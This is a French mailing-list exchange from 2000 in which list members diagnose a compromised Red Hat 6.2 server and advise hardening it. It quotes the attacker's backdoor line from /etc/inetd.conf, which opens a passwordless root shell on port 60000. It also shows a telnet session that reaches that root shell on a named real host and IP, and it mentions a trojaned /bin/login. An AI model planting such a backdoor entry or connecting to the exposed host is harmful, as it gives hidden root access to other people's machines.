Nico est all� v�rifier et voici ce qu'il en dit...
>>>
Tcho, bad news :(
c'est bien ce que je pensais, tu t'es fait m�chamment hack�:
derni�re ligne de /etc/inetd.conf:
60000 stream tcp nowait root /bin/sh /bin/sh -i
donc tu peux sans probl�mes te connecter en root depuis
partout sur le port 60000, mais malheureusement le mot de
passe n'est plus n�cessaire:(
# telnet www.tcmorges.ch 60000
Trying 194.38.77.108...
Connected to cve-home-2-12.urbanet.ch.
Escape character is '^]'.
bash#
si jamais:
telnet: tr�s mauvaise id�e -> ssh
ftp en root: c'est encore pire
+ certainement une tonne d'autres trucs
faut b�tonner sa machine
si tu peux plus te loguer c'est que ton /bin/login est
maintenant un trojan buggu�, t'es la deuxi�me personne
que je connaisse qui s'est faite avoir.
A+
Nico
>>>
------------------------
-----Message d'origine-----
De : [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED]]De la part de Gregor Bruhin
Envoy� : mercredi 4 octobre 2000 19:27
� : [EMAIL PROTECTED]
Objet : Re: Urgent, Gros blem - arrive plus � me logger sur ma RH 6.2
Moi je pense qu'il serait tr�s int�ressant de v�rifier l'int�grit� et les
dates de modif des fichiers: login ps find netstat avant tout non ?
Car quand je lis: "tout d'un coup, je n'arrive plus � me logger dessus" �a
me semble �trange, et c'est presque la premi�re chose que j'irais v�rifier
...
Greg
--
http://www-internal.alphanet.ch/linux-leman/ avant de poser
une question.
--
http://www-internal.alphanet.ch/linux-leman/ avant de poser
une question.
